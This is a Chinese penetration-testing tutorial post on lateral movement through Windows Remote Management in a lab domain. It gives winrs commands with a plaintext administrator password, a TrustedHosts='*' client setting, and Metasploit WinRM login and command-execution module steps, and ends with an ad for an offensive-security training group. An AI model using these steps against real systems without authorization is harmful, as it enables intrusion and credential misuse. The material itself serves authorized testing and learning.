横向移动之Windows远程管理(WinRM)
2023-4-28 16:42:11 Author: Z2O安全攻防(查看原文) 阅读量:23 收藏

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。

文章正文

写在前面

   最近在看ATT&CK战术横向移动,收集域内横向移动的用例。发现T1021.006远程服务Windows Remote Management(WinRM),还是盲区没有实践过,打个卡。

    先说结论:WinRM优点是在已经掌握psexec、wmiexec等横向工具以后,WinRM的优势大概是隐蔽性更强,windows自带连接指令不用上传工具。缺点是只能明文登录,原生工具不能PTH(CME等可传,感谢指正)。

目录

0x01 WinRM简介0x02 利用前提0x03 WinRM连接实战0x04 参考

WinRM简介

WinRM 作为 Windows 操作系统的一部分,是一项允许管理员在系统上远程执行管理任务的服务。并且,WinRM 默认情况下支持 Kerberos 和 NTLM 身份验证以及基本身份验证,初始身份验证后,WinRM 会话将使用 AES 加密保护。使用 WinRM 服务需要拥有管理员级别的权限。

在现代 Windows 系统中,WinRM HTTP 通过 TCP 端口 5985 进行通信,而 HTTPS(TLS)通过 TCP 端口 5986 进行通信。如果所有的机器都是在域环境下,则可以使用默认的 5985 端口,否则的话则通过 5986 端口使用 HTTPS 传输。

使用 WinRM 我们可以在远程主机设置了防火墙的情况下远程管理这台服务器,因为启动 WinRM 服务后,防火墙默认会自动放行 5985 端口。这样的管理服务当然不会被攻击者错过,在内网渗透中,我们可以使用 WinRM 服务进行横向移动,并且使用这种远程连接进行横向移动不容易被察觉到,也不会占用远程连接数。

5985端口开放情况Server2008R2及往上的系统中默认中都开启该服务,从Server2012系统后开始,该WinRM服务便被设置为默认开启。Win7系统中却默认安装此WinRM服务,但是默认为禁用状态,Win8系统和Win10系统也都默认开启WinRM服务。

利用前提

用户账号密码目标机开启5985(多数默认开启)攻击机开启winrm服务配置

WinRM连接

攻击机:192.168.52.30目标机:192.168.93.30

使用扫描工具探测93.30开放端口,发现开放了5985

……192.168.93.30:445 open192.168.93.30:389 open192.168.93.30:593 open192.168.93.30:636 open192.168.93.30:3269 open192.168.93.30:3268 open192.168.93.30:3389 open192.168.93.30:5985 open192.168.93.30:9389 open

尝试使用windows自带的winrs直接连接管理93.30机器,会报错提示目标机器非已信任主机

winrs -r:http://192.168.93.30:5985 -u:administrator -p:Whoami2021 cmd

攻击机配置WinRM信任主机,*号表示信任所有主机

winrm set winrm/config/Client @{TrustedHosts="*"}
//如果产生如下报错可使用powershell配置Set-Item WSMan:localhost\client\trustedhosts -value *

配置后即可尝试连接,直接获取命令行

winrs -r:http://192.168.93.30:5985 -u:administrator -p:Whoami2021 cmd

MSF利用

//探测use auxiliary/scanner/winrm/winrm_auth_methodsset DOMAIN whoamianonyset rhosts 192.168.93.30run

//获得的管理员凭据是否对其他系统有效use auxiliary/scanner/winrm/winrm_loginset DOMAIN whoamianonyset USERNAME administratorset PASSWORD Whoami2021set rhosts 192.168.93.30set rport 5985run

//命令执行,我的建议是跳过前两步直接试试cmduse auxiliary/scanner/winrm/winrm_cmdset rhosts 192.168.93.30set DOMAIN whoamianonyset USERNAME administratorset PASSWORD Whoami2021set CMD ipconfigrun

参考

https://attack.mitre.org/techniques/T1021/006/http://www.hackdig.com/09/hack-480847.html

结尾

由于本人在入门阶段没有人带,也不想花钱报班,完全靠自己摸索,走了很多弯路,浪费了很多时间。所以建此圈子来引导一下半入门、技术不扎实或者刚入门的师傅们,查漏补缺,大致规划了一下,提供以下内容:

1、每周发布学习任务,由浅入深,从常见的漏洞原理、利用,到WAF绕过、钓鱼与免杀,再到Linux/Windows内网、域渗透,层层递进。会发布相应的参考资料,成员自行学习实践,并会根据每周任务选取1-3位完成优秀的成员,返还入圈费用。

2、日常分享优质学习资源与攻防渗透技巧,包括但不限于渗透tips、教程、手册、学习路线、书籍PDF。

3、遇到问题可以快速提问、交流讨论,共同学习。

PS: 

1.本圈子面向入行安全不久/技术不全面/基础不扎实的师傅。
2.  五一假期之后正式开始,在此之前加入享受七折优惠,一共60个名额 (41/60

关注福利:

回复“app" 获取  app渗透和app抓包教程

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf

回复“资料" 获取 网络安全、渗透测试相关资料文档

往期文章

我是如何摸鱼到红队的

命令执行漏洞[无]回显[不]出网利用技巧

MSSQL提权全总结

Powershell 免杀过 defender 火绒,附自动化工具

一篇文章带你学会容器逃逸

域渗透 | kerberos认证及过程中产生的攻击

通过DCERPC和ntlmssp获取Windows远程主机信息


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247494638&idx=1&sn=7c5b23f3597f022ab691822c4f904277&chksm=ceab00aef9dc89b87bff5150519a539872ad337f225384c1bd5c66360f79b251aba12d8e33d6#rd
如有侵权请联系:admin#unsafe.sh